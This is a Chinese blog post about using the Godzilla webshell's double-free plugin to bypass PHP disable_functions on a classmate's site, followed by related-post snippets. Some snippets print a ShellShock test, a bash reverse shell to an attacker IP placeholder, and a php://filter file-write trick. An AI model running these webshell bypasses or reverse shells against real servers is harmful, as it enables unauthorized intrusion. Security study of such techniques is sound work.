超级好用的绕过php的disable_functions

于 2023-07-24 21:21:00 发布
阅读量140 收藏
点赞数 1
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/strider1123/article/details/131990571
版权

寻思寻思今天就写了吧

这里背景是在打同学搭的网站，一句话已经进去了，但是执行不了命令

 能够看到能用的函数几乎都被禁了

在网上找了挺多方法都用不了，蚁剑的各种插件也绕不过

最后找到了这个

 哥斯拉的绕过disable中的双链表

它的说法是这样的

 (来源：http://www.hackdig.com/10/hack-161150.htm)

看起来感觉很强，厂商没修？那这岂不是几乎无解

先在哥斯拉中选中绕过disable

然后选中双链表二次释放

 最后输入命令并执行

 成功

本来到了这里下一步就应该是反弹shell了，可惜这里不知道为什么服务器那头弹不出来了，只能先这样了

strider1123
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
突破PHP disable_functions禁用函数常用绕过姿势
白泽Sec安全实验室
01-01 3111
前言：最近拿到一个shell，被禁用了 php中能直接执行系统程序的函数，虽然最后没有绕过成功。但是也有不小的收获。 首先说下shell怎么来的 一个织梦的站，找到后台登录路径。随手输入默认账户密码:admin/admin,顺利进入后台 利用DedeCMS V5.7 SP2后台存在代码执行漏洞拿到shell 1.首先获取token。访问域名 + /dede/tpl.php?action=upload http://127.0.0.1/uploads/dede/tpl.php?action=upload 通
file_put_contents 绕过$contents=“＜?php die()；?＞“.$contents，preg_match
feiniaotjx的博客
11-19 2054
绕过<?php die();?>,preg_match 大概意思是传文件名和文件内容，但是两个参数都要经过waf函数过滤，并且文件内容开头加了<?php die();?>，它的意思是直接结束了php语句的执行，相当与exit()退出执行函数，故导致写入php文件的函数无法执行所以我们需要让<?php die()?>不能执行，故可以使用php伪协议写入文件， 利用php://filter/convert.base64-decode/resource=5.php写入文件， $
简单讲解如何绕过PHP disable_function
h0ld1rs的博客
11-01 4390
前言 在渗透测试中，有时遇到拿到webshell后无法执行命令的情况，为了成功提权，需要我们绕过disable_function disable_function简介 disable_functions是php.ini中的一个设置选项，可以用来设置PHP环境禁止使用某些函数，通常是网站管理员为了安全起见，用来禁用某些危险的命令执行函数等。（eval并非PHP函数，放在disable_functions中是无法禁用的，若要禁用需要用到PHP的扩展Suhosin。） 绕过方法 1. 寻找未禁用的函数 黑名单
绕过disable_function
qq_51770207的博客
09-22 4067
绕过disable_function
渗透靶场--vulnstack-红队评估实战(3)
weixin_45794666的博客
07-20 1065
vulnstack-红队评估实战(3) 环境配置 攻击者： kali 192.168.154.129 web 192.168.154.135 192.168.93.100 pc 192.168.93.30 win2008 192.168.93.20 win2012 192.168.93.10 web1-ubantu 192.168.93.120 1.外网主机信息搜集 nmap扫描 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vGg14jbu-16267
一次旁站信息泄露的dedecms站点渗透
zhangge3663的博客
11-26 892
今天又是准备划水认真工作的一天，没想到一到公司领导就甩了个站过来，这可能就是打工人吧 话不多说来看看站，先信息收集一波 初步测试目标站点 打开进去是一个类似购物商城的地方，没有什么特殊的点，想要操作基本都要进行登录，中间件是nginx 再看看插件，惊喜来了，是dedecms 先直接盲打一波后台地址/dede 直接404...... 再看看好歹有前台，先注册个用户 再查看最后更新时间 可以知道是dedecms v5.7 sp2的版本 这个版本之后有前台管理员密码重置漏洞和任意密码重
蚁剑的能绕过disable_functions的插件
06-21
蚁剑的能绕过disable_functions的插件,插件无法下载问题
针对宝塔的RASP及其disable_functions的绕过1
08-03
针对宝塔的RASP及其disable_functions的绕过 RASP（Runtime Application Self-Protection）是一种 Runtime 应用程序自我保护技术，旨在保护应用程序免受攻击和恶意活动的影响。在宝塔平台上，RASP 技术可以拦截基于...
BShell:一个webshel​​l帮助脚本小子绕过disable_functions
05-17
一个Webshel​​l帮助脚本小子绕过disable_functions方法未过滤的函数直接执行php5 pcntl_exec exim_exec Windows php5.x COM LD_PRELOAD旁路用法为了使用ld_preload绕过，我们需要复制共享对象文件的内容，可以执行...
利用PHP扩展模块突破Disable_functions执行命令
09-13
通过以上步骤，我们可以成功地利用PHP扩展模块绕过`disable_functions`的限制，从而执行原本被禁止的命令。这种方法对于安全研究者来说非常重要，有助于发现潜在的安全漏洞。然而，需要注意的是，在真实世界的应用中...
PHP突破disable_functions常用姿势以及使用Fuzz挖掘含内部系统调用的函数1
08-03
本文将探讨几种常见的绕过`disable_functions`的方法，并介绍如何利用`Fuzz`技术发现包含内部系统调用的函数。 首先，我们知道`disable_functions`是基于黑名单机制，因此如果配置不完整，仍可能存在未被禁用的危险...
mpu6050陀螺仪使用方法开发教程文档.docx
07-30
mpu6050陀螺仪使用方法
【SCI顶级】龙格库塔算法RUN-CNN-LSTM-Multihead-Attention温度预测【含源码 5747期】.zip
07-30
CSDN海神之光上传的全部代码均可运行，亲测可用，直接替换数据即可，适合小白； 1、代码压缩包内容 主函数：Main .m； 数据； 调用函数：其他m文件；无需运行 运行结果效果图； 2、代码运行版本 Matlab 2019b；若运行有误，根据提示修改；若不会，可私信博主； 3、运行操作步骤 步骤一：将所有文件放到Matlab的当前文件夹中； 步骤二：双击打开除Main.m的其他m文件； 步骤三：点击运行，等程序运行完得到结果； 4、仿真咨询 如需其他服务，可私信博主或扫描博主博客文章底部QQ名片； 4.1 CSDN博客或资源的完整代码提供 4.2 期刊或参考文献复现 4.3 Matlab程序定制 4.4 科研合作 智能优化算法-CNN-LSTM-Mutilhead-Attention回归预测系列程序定制或科研合作方向： 4.4.1 遗传算法GA/蚁群算法ACO-CNN-LSTM-Mutilhead-Attention回归预测 4.4.2 粒子群算法PSO/蛙跳算法SFLA-CNN-LSTM-Mutilhead-Attention回归预测 4.4.3 灰狼算法GWO/狼群算法WPA-CNN-LSTM-Mutilhead-Attention回归预测 4.4.4 鲸鱼算法WOA/麻雀算法SSA-CNN-LSTM-Mutilhead-Attention回归预测 4.4.5 萤火虫算法FA/差分算法DE-CNN-LSTM-Mutilhead-Attention回归预测
大模型的数学之魂：统计学习理论精要
07-30
大型机器学习模型，通常简称为“大模型”，是指具有数十亿甚至数千亿参数的深度神经网络模型。这些模型因为其庞大的参数量和复杂的计算结构，能够处理非常复杂的任务和数据，展现出强大的表达能力和预测性能。大模型在自然语言处理、计算机视觉、语音识别和推荐系统等多个领域都有广泛的应用。 大模型的设计目的是通过训练海量数据来学习复杂的模式和特征，从而具备强大的泛化能力，能够对未见过的数据做出准确的预测。与参数较少、层数较浅的小模型相比，大模型虽然需要更多的计算资源和时间来训练和推理，但它们展现出了一种被称为“涌现能力”的特性，即从原始训练数据中自动学习并发现新的、更高层次的特征和模式。 大模型的发展历程可以分为几个阶段，从早期的卷积神经网络模型发展到以Transformer为代表的全新神经网络模型，再到当前以GPT为代表的预训练大模型阶段。Transformer架构因其自注意力机制而成为大模型的核心技术，它使得模型能够更好地理解和处理文本数据中的长距离依赖关系。 大模型的分类主要包括语言大模型（NLP）、视觉大模型（CV）和多模态大模型。语言大模型专注于处理文本数据和理解自然语言，而视觉大模型用
唯美淡雅四页.zip
最新发布
07-30
【简历模板】工作总结、商业计划书、述职报告、读书分享、家长会、主题班会、端午节、期末、夏至、中国风、卡通、小清新、岗位竞聘、公司介绍、读书分享、安全教育、文明礼仪、儿童故事、绘本、防溺水、夏季安全、科技风、商务、炫酷、企业培训、自我介绍、产品介绍、师德师风、班主任培训、神话故事、巴黎奥运会、世界献血者日、防范非法集资、3D快闪、毛玻璃、人工智能等等各种样式的ppt素材风格。 设计模板、图片素材、PPT模板、视频素材、办公文档、小报模板、表格模板、音效配乐、字体库。 广告设计：海报，易拉宝，展板，宣传单，宣传栏，画册，邀请函，优惠券，贺卡，文化墙，标语，制度，名片，舞台背景，广告牌，证书，明信片，菜单，折页，封面，节目单，门头，美陈，拱门，展架等。 电商设计：主图，直通车，详情页，PC端首页，移动端首页，钻展，优惠券，促销标签，店招，店铺公告等。 图片素材：PNG素材，背景素材，矢量素材，插画，元素，艺术字，UI设计等。 视频素材：AE模板，会声会影，PR模板，视频背景，实拍短片，音效配乐。 办公文档：工作汇报，毕业答辩，企业介绍，总结计划，教学课件，求职简历等PPT/WORD模板。
仿真验证阵列可以提高接收信号信噪比
07-30
这是一份模拟了阵列输入信号及噪声，并验证了相对于阵列接收到的信号，阵列输出信号可以将信噪比提高M倍，其中M为阵列的阵元个数的代码。 代码中可以随意修改阵元个数、阵元间距、波束指向角度、信号频率等。 代码中关键部分均含有文字注释，完全不必担心看不懂。 无论是从仿真波形，还是计算的信噪比结果均能看出阵元数为M的阵列将信号的信噪比提高了M倍。
[毕业设计]Java驱动的C语言编程练习与考试平台(源代码+论文).zip
07-30
[毕业设计]Java驱动的C语言编程练习与考试平台(源代码+论文)
基于Qt的多线程局域网聊天系统（含客户端+服务端）.zip
07-30
毕业设计是高等教育阶段学生完成学业的一个重要环节，通常在学士或硕士学业即将结束时进行。这是学生将在整个学业中所学知识和技能应用到实际问题上的机会，旨在检验学生是否能够独立思考、解决问题，并展示其专业能力的一项综合性任务。 毕业设计的主要特点包括： 独立性： 毕业设计要求学生具备独立思考和解决问题的能力。学生需要选择一个合适的课题，研究相关文献，进行实地调查或实验，并提出独立见解。 实践性： 毕业设计是将理论知识应用到实际问题中的一次实践。通过完成毕业设计，学生能够将所学的专业知识转化为实际的解决方案，加深对专业领域的理解。 综合性： 毕业设计往往要求学生运用多个学科的知识，综合各种技能。这有助于培养学生的综合素养，提高他们的综合能力。 导师指导： 学生在毕业设计过程中通常由一名指导老师或导师团队提供指导和支持。导师负责引导学生确定研究方向、制定计划、提供建议，并在整个过程中监督进展。 学术规范： 毕业设计要求学生按照学术规范完成研究，包括文献综述、研究设计、数据采集与分析、结论和讨论等环节。学生需要撰写一篇完整的毕业论文，并进行答辩。
iperf3可测量丢包率
07-30
测吞吐量和丢包率
蚁剑绕过disable_functions
12-17
根据提供的引用内容，AntSword虚拟终端中已经集成了对ShellShock的利用，可以绕过disable_functions。具体步骤如下： 1.打开AntSword虚拟终端，输入以下命令，检查是否存在ShellShock漏洞： ```bash env x='() { :;}; echo vulnerable' bash -c "echo this is a test" ``` 如果输出“vulnerable”则表示存在ShellShock漏洞。 2.输入以下命令，生成一个反向Shell： ```bash bash -i >& /dev/tcp/攻击者IP/攻击者端口 0>&1 ``` 其中，攻击者IP和攻击者端口需要替换为实际的IP和端口。 3.将生成的反向Shell复制到剪贴板中。 4.在AntSword虚拟终端中，点击“ShellShock”按钮，将反向Shell粘贴到弹出的窗口中，点击“执行”按钮。 5.此时，攻击者就可以通过反向Shell执行任意命令，绕过disable_functions限制。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值